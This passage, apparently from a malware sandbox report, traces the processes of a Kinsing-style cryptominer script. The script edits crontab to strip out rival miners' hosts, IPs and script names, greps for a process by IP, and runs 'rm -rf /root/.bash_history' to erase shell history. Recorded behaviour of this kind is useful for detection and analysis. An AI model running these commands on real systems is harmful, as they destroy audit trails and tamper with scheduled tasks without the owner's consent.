                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:619
                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:621
                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                              sed /aliyun.one/d
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:623
                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:625
                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:626
                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                    sed /3.215.110.66.one/d
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:627
                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:628
                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:630
                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                          sed /pastebin/d
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:631
                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:632
                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:634
                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                sed /onion/d
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:635
                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:636
                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:637
                                                                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                                                                      sed /lsd.systemten.org/d
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:638
                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:639
                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:640
                                                                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                                                                            sed /shuf/d
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:641
                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:642
                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:643
                                                                                                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                                                                                                  sed /ash/d
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:644
                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:645
                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                        PID:646
                                                                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                                                                        sed /mr.sh/d
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                          PID:647
                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                            PID:648
                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                              PID:649
                                                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                                                              sed /185.181.10.234/d
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                PID:650
                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:651
                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                    PID:652
                                                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                                                    sed /localhost.xyz/d
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                      PID:653
                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                        PID:654
                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                          PID:655
                                                                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                                                                          sed /45.137.151.106/d
                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                            PID:656
                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                              PID:657
                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:658
                                                                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                sed /111.90.159.106/d
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:659
                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                  PID:660
                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:661
                                                                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                    sed /github/d
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:662
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:663
                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:664
                                                                                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                          sed /bigd1ck.com/d
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                          PID:665
                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:666
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:670
                                                                                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                              sed /xmr.ipzse.com/d
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:671
                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:672
                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:673
                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                    sed /185.181.10.234/d
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:674
                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:675
                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:676
                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                          sed /146.71.79.230/d
                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:677
                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:678
                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:681
                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                sed /122.51.164.83/d
                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:682
                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:683
                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:684
                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                      sed /newdat.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:685
                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:686
                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:687
                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                            sed /lib.pygensim.com/d
                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:688
                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:689
                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:690
                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                  sed /t.amynx.com/d
                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:691
                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:692
                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:693
                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                        sed /update.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:694
                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:695
                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:696
                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                              sed /systemd-service.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:697
                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:698
                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:699
                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                    sed /pg_stat.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:700
                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:701
                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:702
                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                          sed /sleep/d
                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:703
                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:704
                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:705
                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                sed /oka/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:706
                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:707
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:708
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                      sed /linux1213/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:709
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:710
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:711
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                            sed "/#wget/d"
                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:712
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:713
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:717
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sed "/#curl/d"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:718
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:719
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:720
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sed /zsvc/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:721
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:722
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:723
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sed /givemexyz/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:724
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:725
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:726
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sed /world/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:727
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:729
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:731
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sed /1.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:732
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:733
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:734
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sed /3.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:735
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:736
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:737
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sed /workers/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:738
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:739
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:740
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sed /oracleservice/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:741
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:742
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:743
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  grep -e 185.191.32.198
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    grep -v grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:745
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:747
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -rf /root/.bash_history
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:749
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        md5sum /etc/kinsing
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:522
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          awk "{ print \$1 }"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:523
